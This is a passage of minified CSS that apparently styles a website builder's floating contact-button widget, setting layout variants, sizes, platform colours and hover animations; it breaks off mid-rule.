.e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon-hover)}.e-contact-buttons-var-4 .e-contact-buttons__contact-tooltip{background-color:var(--e-contact-buttons-tooltip-bg);border-radius:16px;box-shadow:2px 4px 4px 0 rgba(0,0,0,.15);color:var(--e-contact-buttons-tooltip-text);font-size:13px;line-height:25px;padding:4px 14px;position:relative}.e-contact-buttons-var-4 .e-contact-buttons__contact-tooltip:after{border-style:solid;content:"";height:0;position:absolute;top:50%;transform:translateY(-50%);width:0}.e-contact-buttons-var-4.has-h-alignment-end .e-contact-buttons__chat-button-container{padding-inline-end:0}.e-contact-buttons-var-4.has-h-alignment-end .e-contact-buttons__contact-links{align-items:flex-end}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-tooltip:after,.e-contact-buttons-var-4.has-h-alignment-end .e-contact-buttons__contact-tooltip:after{border-inline-start-color:var(--e-contact-buttons-tooltip-bg);border-inline-end-color:transparent;border-block-start-color:transparent;border-block-end-color:transparent;border-inline-start-width:10px;border-inline-end-width:0;border-block-start-width:8px;border-block-end-width:8px;inset-inline-end:-8px}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__chat-button-container{padding-inline-start:0}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-links{align-items:flex-start}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-tooltip{order:2}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-tooltip:after{border-inline-start-color:transparent;border-inline-end-color:var(--e-contact-buttons-tooltip-bg);border-block-start-color:transparent;border-block-end-color:transparent;border-inline-start-width:0;border-inline-end-width:10px;border-block-start-width:8px;border-block-end-width:8px;inset-inline-start:-8px}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-links{align-items:flex-end}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__content-wrapper{inset-inline-end:0}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-tooltip{inset-inline-end:calc(100% + 14px);position:absolute;top:50%;transform:translateY(-50%);white-space:nowrap}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-icon-link{position:relative}.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__chat-button,.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__close-button,.e-contact-buttons-var-4 .has-size-small .e-contact-buttons__contact-icon-container{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__chat-button svg,.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__close-button svg,.e-contact-buttons-var-4 .has-size-small .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-icon-small);width:var(--e-contact-buttons-icon-small)}.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__chat-button i,.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__close-button i,.e-contact-buttons-var-4 .has-size-small .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-icon-small)}.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__chat-button,.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__close-button,.e-contact-buttons-var-4 .has-size-medium .e-contact-buttons__contact-icon-container{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__chat-button svg,.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__close-button svg,.e-contact-buttons-var-4 .has-size-medium .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-icon-medium);width:var(--e-contact-buttons-icon-medium)}.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__chat-button i,.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__close-button i,.e-contact-buttons-var-4 .has-size-medium .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-icon-medium)}.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__chat-button,.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__close-button,.e-contact-buttons-var-4 .has-size-large .e-contact-buttons__contact-icon-container{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__chat-button svg,.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__close-button svg,.e-contact-buttons-var-4 .has-size-large .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-icon-large);width:var(--e-contact-buttons-icon-large)}.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__chat-button i,.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__close-button i,.e-contact-buttons-var-4 .has-size-large .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-icon-large)}.e-contact-buttons-var-6{--e-contact-buttons-icon-size-small:25px;--e-contact-buttons-icon-size-medium:30px;--e-contact-buttons-icon-size-large:35px;--e-contact-buttons-button-bar-bg:#324a6d;--e-contact-buttons-links-border-radius:50px;--e-contact-buttons-contact-button-icon-hover:#c8d5dc;--e-contact-buttons-button-bar-padding-block-end:12px;--e-contact-buttons-button-bar-padding-block-start:12px;--e-contact-buttons-button-bar-padding-inline-end:12px;--e-contact-buttons-button-bar-padding-inline-start:12px;--e-contact-buttons-vertical-offset:20px;width:auto}.e-contact-buttons-var-6 .e-contact-buttons__contact-links{background-color:var(--e-contact-buttons-button-bar-bg);border-radius:var(--e-contact-buttons-links-border-radius);display:flex;justify-content:center;gap:0;padding-inline-end:var(--e-contact-buttons-button-bar-padding-inline-end);padding-inline-start:var(--e-contact-buttons-button-bar-padding-inline-start)}.e-contact-buttons-var-6 .e-contact-buttons__contact-links.has-corners-rounded{--e-contact-buttons-links-border-radius:20px}.e-contact-buttons-var-6 .e-contact-buttons__contact-links.has-corners-round{--e-contact-buttons-links-border-radius:50px}.e-contact-buttons-var-6 .e-contact-buttons__contact-links.has-corners-sharp{--e-contact-buttons-links-border-radius:0}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link{color:var(--e-contact-buttons-contact-button-icon);display:flex;padding-block-end:var(--e-contact-buttons-button-bar-padding-block-end);padding-block-start:var(--e-contact-buttons-button-bar-padding-block-start);padding-inline-end:var(--e-contact-buttons-button-bar-padding-inline-end);padding-inline-start:var(--e-contact-buttons-button-bar-padding-inline-start)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon);height:28px;transition:all .3s;width:28px}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:hover{color:var(--e-contact-buttons-contact-button-icon-hover)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon-hover);transition:all .3s}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-small svg{height:var(--e-contact-buttons-icon-size-small);width:var(--e-contact-buttons-icon-size-small)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-small i{font-size:var(--e-contact-buttons-icon-size-small)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-medium svg{height:var(--e-contact-buttons-icon-size-medium);width:var(--e-contact-buttons-icon-size-medium)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-medium i{font-size:var(--e-contact-buttons-icon-size-medium)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-large svg{height:var(--e-contact-buttons-icon-size-large);width:var(--e-contact-buttons-icon-size-large)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-large i{font-size:var(--e-contact-buttons-icon-size-large)}.e-contact-buttons-var-7{--e-contact-buttons-chat-button-padding-block-end:16px;--e-contact-buttons-chat-button-padding-block-start:16px;--e-contact-buttons-chat-button-padding-inline-end:20px;--e-contact-buttons-chat-button-padding-inline-start:20px;--e-contact-buttons-chat-button-gap:8px;--e-contact-buttons-horizontal-offset:0;--e-contact-buttons-vertical-offset:0}.e-contact-buttons-var-7.has-h-alignment-end .e-contact-buttons__chat-button-container,.e-contact-buttons-var-7.has-h-alignment-start .e-contact-buttons__chat-button-container{padding-inline:0}@media (max-width:767px){.e-contact-buttons-var-7.has-mobile-full-width{width:100%}.e-contact-buttons-var-7.has-mobile-full-width .e-contact-buttons__chat-button-container{width:100%;max-width:100%}.e-contact-buttons-var-7.has-mobile-full-width .e-contact-buttons__chat-button{width:100%}}.e-contact-buttons-var-7 .e-contact-buttons__chat-button,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]),.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button]{border-radius:0;color:var(--e-contact-buttons-button-icon);display:inline-flex;font-size:18px;font-weight:500;gap:var(--e-contact-buttons-chat-button-gap);height:-moz-fit-content;height:fit-content;line-height:28px;padding-block-end:var(--e-contact-buttons-chat-button-padding-block-end);padding-block-start:var(--e-contact-buttons-chat-button-padding-block-start);padding-inline-end:var(--e-contact-buttons-chat-button-padding-inline-end);padding-inline-start:var(--e-contact-buttons-chat-button-padding-inline-start);width:-moz-fit-content;width:fit-content}.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]) svg,.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button] svg,.e-contact-buttons-var-7 .e-contact-buttons__chat-button svg{height:1em;width:1em}.e-contact-buttons-var-7 .e-contact-buttons__chat-button:focus,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:hover,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]):focus,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]):hover,.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button]:focus,.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button]:hover{color:var(--e-contact-buttons-button-icon-hover)}.e-contact-buttons-var-8{--e-contact-buttons-size-small:48px;--e-contact-buttons-size-medium:56px;--e-contact-buttons-size-large:64px;--e-contact-buttons-svg-size-small:22px;--e-contact-buttons-svg-size-medium:28px;--e-contact-buttons-svg-size-large:36px;--e-contact-buttons-chat-box-width:280px;--e-contact-buttons-button-bg:#324a6d;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-active-button-bg:#f3f5f8;--e-contact-buttons-active-button-color:#324a6d;--e-contact-buttons-top-bar-bg:#324a6d;--e-contact-buttons-contact-button-bg:#c8d5dc;--e-contact-buttons-contact-button-icon:#324a6d}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-email,.e-contact-buttons-var-8 .has-colors-type-default.has-platform-phone,.e-contact-buttons-var-8 .has-colors-type-default.has-platform-sms,.e-contact-buttons-var-8 .has-colors-type-default.has-platform-url{--e-contact-buttons-contact-button-icon:#467ff7}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-whatsapp{--e-contact-buttons-contact-button-icon:#25d366}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-skype{--e-contact-buttons-contact-button-icon:#00aff0}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-messenger{--e-contact-buttons-contact-button-icon:#168aff}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-viber{--e-contact-buttons-contact-button-icon:#7360f2}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-waze{--e-contact-buttons-contact-button-icon:#3cf}.e-contact-buttons-var-8 .has-size-small.e-contact-buttons__close-button{align-items:center;display:flex;height:var(--e-contact-buttons-size-small);justify-content:center;width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-8 .has-size-small.e-contact-buttons__close-button .eicon-close{font-size:24px}.e-contact-buttons-var-8 .has-size-medium.e-contact-buttons__close-button{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-8 .has-size-medium.e-contact-buttons__close-button .eicon-close{font-size:28px}.e-contact-buttons-var-8 .has-size-large.e-contact-buttons__close-button{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-8 .has-size-large.e-contact-buttons__close-button .eicon-close{font-size:32px}.e-contact-buttons-var-8 .e-contact-buttons__chat-buttons-container{display:flex}.e-contact-buttons-var-8 .e-contact-buttons__close-button{border-radius:50%;inset-inline-end:unset;inset-inline-start:unset;position:relative;top:unset}.e-contact-buttons-var-8 .e-contact-buttons__close-button,.e-contact-buttons-var-8 .e-contact-buttons__close-button:focus,.e-contact-buttons-var-8 .e-contact-buttons__close-button:hover{background-color:var(--e-contact-buttons-active-button-bg);color:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-8 .e-contact-buttons__chat-button[aria-expanded=true],.e-contact-buttons-var-8 .e-contact-buttons__chat-button[type=button][aria-expanded=true],.e-contact-buttons-var-8 .e-contact-buttons__close-button[aria-expanded=false]{display:none}.e-contact-buttons-var-8 .e-contact-buttons__top-bar-title{font-size:16px;line-height:24px;font-weight:600}.e-contact-buttons-var-8 .e-contact-buttons__top-bar-subtitle{font-size:12px;line-height:16px;font-weight:500px}.e-contact-buttons-var-8 .e-contact-buttons__contact-links{display:flex;flex-direction:column;gap:12px;padding:12px}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link{background-color:var(--e-contact-buttons-contact-button-bg);border-start-end-radius:15px;border-end-end-radius:15px;border-end-start-radius:15px;color:var(--e-contact-buttons-contact-button-icon);display:grid;grid-template-columns:auto 1fr;grid-template-rows:repeat(2,1fr);grid-column-gap:12px;grid-row-gap:0;padding:10px 20px}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-small svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-small i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-medium svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-medium i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-large svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-large i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-container{align-items:center;display:flex;grid-area:1/1/3/2}.e-contact-buttons-var-8 .e-contact-buttons__contact-title{color:var(--e-contact-buttons-contact-title-text-color);grid-area:1/2/2/3;font-size:16px;font-weight:600;line-height:24px}.e-contact-buttons-var-8 .e-contact-buttons__contact-description{color:var(--e-contact-buttons-contact-description-text-color);grid-area:2/2/3/3;font-size:12px;font-weight:300;line-height:16px}.e-contact-buttons-var-8 .e-contact-buttons__links-container{background-color:var(--e-contact-buttons-chat-box-bg)}.e-contact-buttons-var-9{--e-contact-buttons-size-small:48px;--e-contact-buttons-size-medium:56px;--e-contact-buttons-size-large:64px;--e-contact-buttons-svg-size-small:24px;--e-contact-buttons-svg-size-medium:28px;--e-contact-buttons-svg-size-large:32px;--e-contact-buttons-transition-duration:.3s;--e-contact-buttons-transition:all var(--e-contact-buttons-transition-duration);--e-contact-buttons-overlap-margin:-10px;--e-contact-buttons-chat-button-padding-block-end:8px;--e-contact-buttons-chat-button-padding-block-start:8px;--e-contact-buttons-chat-button-padding-inline-end:16px;--e-contact-buttons-chat-button-padding-inline-start:16px;width:auto}.e-contact-buttons-var-9 .e-contact-buttons__chat-button-icon-container{align-items:center;background-color:var(--e-contact-buttons-button-bg);border-radius:50%;display:flex;justify-content:center;position:relative;transition:var(--e-contact-buttons-transition);z-index:1}.e-contact-buttons-var-9 .e-contact-buttons__chat-button-icon-container svg{position:relative;z-index:2}.e-contact-buttons-var-9 .e-contact-buttons__chat-button-text{background-color:var(--e-contact-buttons-button-bg);color:var(--e-contact-buttons-button-icon);font-size:16px;font-weight:500;line-height:24px;padding-block-end:var(--e-contact-buttons-chat-button-padding-block-end);padding-block-start:var(--e-contact-buttons-chat-button-padding-block-start);padding-inline-end:var(--e-contact-buttons-chat-button-padding-inline-end);padding-inline-start:var(--e-contact-buttons-chat-button-padding-inline-start);position:relative;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button{background-color:transparent;border-radius:0;color:var(--e-contact-buttons-button-icon);height:auto;width:auto}.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover{color:var(--e-contact-buttons-button-icon)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus svg,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover svg{fill:var(--e-contact-buttons-button-icon)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text:before,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text:before{background-color:var(--e-contact-buttons-button-bg);color:var(--e-contact-buttons-button-icon);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-small .e-contact-buttons__chat-button-icon-container{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-small .e-contact-buttons__chat-button-icon-container svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-small .e-contact-buttons__chat-button-icon-container i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-medium .e-contact-buttons__chat-button-icon-container{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-medium .e-contact-buttons__chat-button-icon-container svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-medium .e-contact-buttons__chat-button-icon-container i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-large .e-contact-buttons__chat-button-icon-container{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-large .e-contact-buttons__chat-button-icon-container svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-large .e-contact-buttons__chat-button-icon-container i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-container{padding-inline-end:0}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-icon-container{position:absolute;inset-inline-end:-5px;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-text{border-start-start-radius:0;border-end-start-radius:0;border-start-end-radius:50px;border-end-end-radius:50px;margin-inline-start:var(--e-contact-buttons-overlap-margin)}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 100%);clip-path:inset(0 0 0 100%)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container{inset-inline-end:100%;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-container{padding-inline-start:0}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-icon-container{order:2}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-icon-container{position:absolute;inset-inline-start:-5px;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-text{border-start-start-radius:50px;border-end-start-radius:50px;border-start-end-radius:0;border-end-end-radius:0;margin-inline-end:var(--e-contact-buttons-overlap-margin);order:1}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 100% 0 0);clip-path:inset(0 100% 0 0);transition:var(--e-contact-buttons-transition)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:100%;transition:var(--e-contact-buttons-transition)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button-icon-container{order:2;position:absolute;inset-inline-start:50%;transform:translateX(-50%)}}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button-text{border-start-start-radius:0;border-end-start-radius:0;border-start-end-radius:50px;border-end-end-radius:50px;margin-inline-start:var(--e-contact-buttons-overlap-margin)}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button-text{inset-inline-end:50%;order:1;-webkit-clip-path:inset(0 0 0 100%);clip-path:inset(0 0 0 100%)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:-100%;transform:unset;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-small:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-small:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:calc(-100% + 10px)}.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-large:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-center .e-contact-buttons__chat-button.has-size-large:hover .e-contact-buttons__chat-button-icon-container{inset-inline-start:calc(-100% - 5px)}.e-contact-buttons-var-10{--e-contact-buttons-size-small:40px;--e-contact-buttons-size-medium:48px;--e-contact-buttons-size-large:56px;--e-contact-buttons-svg-size-small:20px;--e-contact-buttons-svg-size-medium:24px;--e-contact-buttons-svg-size-large:28px;--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-medium);--e-contact-buttons-horizontal-offset:0;--e-contact-buttons-transition-duration:.3s;--e-contact-buttons-transition:all var(--e-contact-buttons-transition-duration);--e-contact-buttons-contact-gap:4px;--e-contact-buttons-contact-padding-block-end:8px;--e-contact-buttons-contact-padding-block-start:8px;--e-contact-buttons-contact-padding-inline-end:12px;--e-contact-buttons-contact-padding-inline-start:12px;width:auto}.e-contact-buttons-var-10 .has-corners-rounded{--e-contact-buttons-border-radius:20px}.e-contact-buttons-var-10 .has-corners-round{--e-contact-buttons-border-radius:50px}.e-contact-buttons-var-10 .has-corners-sharp{--e-contact-buttons-border-radius:0}.e-contact-buttons-var-10 .has-size-small{--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-10 .has-size-medium{--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-10 .has-size-large{--e-contact-buttons-svg-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-10 .e-contact-buttons__contact-links{display:flex;gap:var(--e-contact-buttons-contact-gap)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-container{align-items:center;display:inline-flex;justify-content:center}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-svg-size);width:var(--e-contact-buttons-svg-size)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-svg-size)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link{align-items:center;background-color:var(--e-contact-buttons-contact-button-bg);color:var(--e-contact-buttons-contact-button-icon);display:flex;transition:all .3s}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:hover{background-color:var(--e-contact-buttons-contact-button-bg);color:var(--e-contact-buttons-contact-button-icon);transition:all .3s}.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-10 .e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-10 .e-contact-buttons__contact-title{display:inline-block;padding-block-end:var(--e-contact-buttons-contact-padding-block-end);padding-block-start:var(--e-contact-buttons-contact-padding-block-start);padding-inline-end:var(--e-contact-buttons-contact-padding-inline-end);padding-inline-start:var(--e-contact-buttons-contact-padding-inline-start)}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:8px;justify-content:flex-end;padding-inline-end:12px;transform:translateX(calc(-100% + var(--e-contact-buttons-svg-size) * 2 - var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link.has-size-small{--e-contact-buttons-margin-offset:2px}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:2px;transform:translateX(calc(100% - (var(--e-contact-buttons-svg-size) * 2 - var(--e-contact-buttons-margin-offset))))}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link.has-size-large{--e-contact-buttons-margin-offset:8px}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-links{align-items:flex-start;flex-direction:column}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link{border-start-start-radius:0;border-start-end-radius:var(--e-contact-buttons-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-contact-buttons-border-radius)}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-start .e-contact-buttons__contact-icon-link.active{transform:none;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:8px;padding-inline-start:12px;transform:translateX(calc(100% - var(--e-contact-buttons-svg-size) * 2 + var(--e-contact-buttons-margin-offset)));transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link.has-size-small{--e-contact-buttons-margin-offset:2px}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link{--e-contact-buttons-margin-offset:2px;transform:translateX(calc(-100% + var(--e-contact-buttons-svg-size) * 2 - var(--e-contact-buttons-margin-offset)))}[dir=rtl] .e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link.has-size-large{--e-contact-buttons-margin-offset:8px}@media (min-width:768px){.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-10.has-h-alignment-end .e-contact-buttons__contact-icon-link:hover{transform:none;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-10.has-h-alignment-end 